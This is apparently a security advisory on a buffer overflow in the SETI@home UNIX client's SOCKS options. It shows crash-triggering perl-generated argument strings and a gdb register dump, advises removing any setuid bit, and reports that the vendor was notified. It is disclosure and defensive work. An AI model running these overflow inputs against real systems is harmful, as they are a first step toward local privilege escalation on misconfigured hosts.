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Vulnerability in SETIhome

    Overview

SETIhome (http://setiathome.berkeley.edu/) is a distributed project that
allows ordinary citizens participate in the search for extraterrestrial
intelligence using their computer's idle time. A buffer overflow exists
in the UNIX client software.

NOTE: this vulnerability is NOT exploitable in the default installation.

    Details

The "i386-pc-linux-gnu-gnulibc2.1" version of the setiathome client (and
possibly others) is vulnerable to buffer overflow. Example:

# ./setiathome -version
SETIhome client.
Platform: i386-pc-linux-gnu-gnulibc2.1
Version: 3.03

...
...

# ./setiathome -socks_server `perl -e 'print "A" x 5604;'`
Segmentation fault
# ./setiathome -socks_user `perl -e 'print "A" x 5344;'`
Segmentation fault
# ./setiathome -socks_passwd `perl -e 'print "A" x 5280;'`
Segmentation fault
#

[rootseti /home/setiathome]# gdb setiathome
GNU gdb 5.0rh-5 Red Hat Linux 7.1
Copyright 2001 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i386-redhat-linux"...
(no debugging symbols found)...
(gdb) r -socks_server `perl -e 'print "A" x 5604;'`
Starting program: /home/setiathome/setiathome -socks_server `perl -e 'print "A" x 5604;'`

Program received signal SIGSEGV, Segmentation fault.
0x2ab4d409 in strcpy () from /lib/libc.so.6
(gdb) info registers
eax 0x0 0
ecx 0x40404040 1077952576
edx 0x41414141 1094795585
ebx 0xfefefeff -16843009
esp 0x7fffe664 0x7fffe664
ebp 0x7fffe6bc 0x7fffe6bc
esi 0x7ffffe28 2147483176
edi 0x807bffd 134725629
eip 0x2ab4d409 0x2ab4d409
eflags 0x10246 66118
cs 0x23 35
ss 0x2b 43
ds 0x2b 43
es 0x2b 43
fs 0x0 0
gs 0x0 0
fctrl 0x37f 895
fstat 0x0 0
ftag 0xffff 65535
fiseg 0x0 0
fioff 0x0 0
foseg 0x0 0
fooff 0x0 0
fop 0x0 0

    Solution

The SETIhome UNIX client is not installed with a setuid bit by default.
If one was added to it -- perhaps to run it under a 'setiathome' account --
remove it immediately.

    Vendor Status

The project directory, Dr. Dave P. Anderson, was contacted via
<daveassl.berkeley.edu> on Monday, Nov 5th. He promptly replied that
this problem will be fixed in the next release.

    - Joe Testa

e-mail: joetestahushmail.com
web page: http://hogs.rit.edu/~joet/
AIM: LordSpankatron

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